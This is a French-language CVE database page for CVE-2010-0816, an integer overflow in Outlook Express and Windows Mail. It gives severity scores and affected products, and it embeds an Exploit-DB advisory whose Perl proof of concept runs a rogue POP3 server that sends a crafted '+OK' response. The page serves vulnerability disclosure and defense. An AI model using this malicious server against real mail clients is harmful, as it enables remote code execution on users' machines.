CVE-2010-0816 : Détail

CVE-2010-0816

55.45%V4
Network
2010-05-11
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer overflow in inetcomm.dll in Microsoft Outlook Express 5.5 SP2, 6, and 6 SP1; Windows Live Mail on Windows XP SP2 and SP3, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7; and Windows Mail on Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 allows remote e-mail servers and man-in-the-middle attackers to execute arbitrary code via a crafted (1) POP3 or (2) IMAP response, as demonstrated by a certain +OK response on TCP port 110, aka "Outlook Express and Windows Mail Integer Overflow Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 12564

Date de publication : 2010-05-10 22h00 +00:00
Auteur : Francis Provencher
EDB Vérifié : Yes

Application: Microsoft Outlook Express Microsoft Windows Mail Platforms: Windows 2000 Windows XP Windows Vista Windows server 2003 Windows Server 2008 SR2 Exploitation: Remote Exploitable CVE Number: CVE-2010-0816 Discover Date: 2009-09-11 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) Products affected 5) The Code ##################################################################################### ================= 1) Introduction ================= Windows Mail is an e-mail and newsgroup client included in Windows Vista, that was superseded by Windows Live Mail. It is the successor to Outlook Express. Microsoft previewed Windows Mail on Channel 9 on October 10, 2005.[1] Unlike Outlook Express, Windows Mail is not considered to be a component of Internet Explorer. As such, it will not be made available for earlier Windows operating systems, while Windows Internet Explorer 7 was made available for Windows XP. Windows Mail has been succeeded by Windows Live Mail, which was built by the same development team as Windows Mail and also serves as the replacement for Outlook Express for Windows XP. (Wikipedia) ##################################################################################### ==================== 2) Report Timeline ==================== 2009-11-09 Vendor Contacted 2009-11-09 Vendor Response 2009-11-16 Vendor request a PoC 2009-11-16 PoC is send 2009-11-19 Vendor confirme they received PoC 2009-11-24 Vendor confirm the vulnerability 2010-05-11 Public release of this advisory ##################################################################################### ====================== 3) Technical details ====================== An unauthenticated remote code execution vulnerability exists in the way that the Windows Mail Client software handles specially crafted mail responses. An attempt to exploit the vulnerability would not require authentication, allowing an attacker to exploit the vulnerability by sending a specially crafted response to a client initiating a connection to a server under his control using the common mail protocols. The vulnerability is caused by a common library used by Outlook Express and Windows Mail insufficiently validating network data before using that data to calculate the necessary size of a buffer. ##################################################################################### ===================== 4) Product affected ===================== Mail client; Microsoft Outlook Express & Microsoft Windows Mail Plateforms; Vista SP1 & Windows Server 2008 SP1 ##################################################################################### ============= 5) The Code ============= #!/usr/bin/perl -w # Found by Francis Provencher for Protek Research Lab's # {PRL} Microsoft Windows Mail CLient & outlook express Remote Integer Overflow # use IO::Socket; $port = 110; $serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n"; $cli = $serv->accept() or die "Error: accept()\n"; $cli->send("+OK\r\n"); $cli->recv($recvbuf, 512); $cli->send("+OK\r\n"); $cli->recv($recvbuf, 512); $cli->send("+OK\r\n"); $cli->recv($recvbuf, 512); $cli->send("+OK 357913944 100\r\n");

Products Mentioned

Configuraton 0

Microsoft>>Outlook_express >> Version 5.5

Microsoft>>Outlook_express >> Version 6.0

Microsoft>>Windows_2000 >> Version *

Configuraton 0

Microsoft>>Outlook_express >> Version 6.0

Microsoft>>Windows_live_mail >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Configuraton 0

Microsoft>>Outlook_express >> Version 6.0

Microsoft>>Windows_live_mail >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Outlook_express >> Version 6.0

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_server_2003 >> Version *

Configuraton 0

Microsoft>>Windows_live_mail >> Version *

Microsoft>>Windows_mail >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Configuraton 0

Microsoft>>Windows_live_mail >> Version *

Microsoft>>Windows_mail >> Version *

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Références

http://www.us-cert.gov/cas/techalerts/TA10-131A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.securityfocus.com/bid/40052
Tags : vdb-entry, x_refsource_BID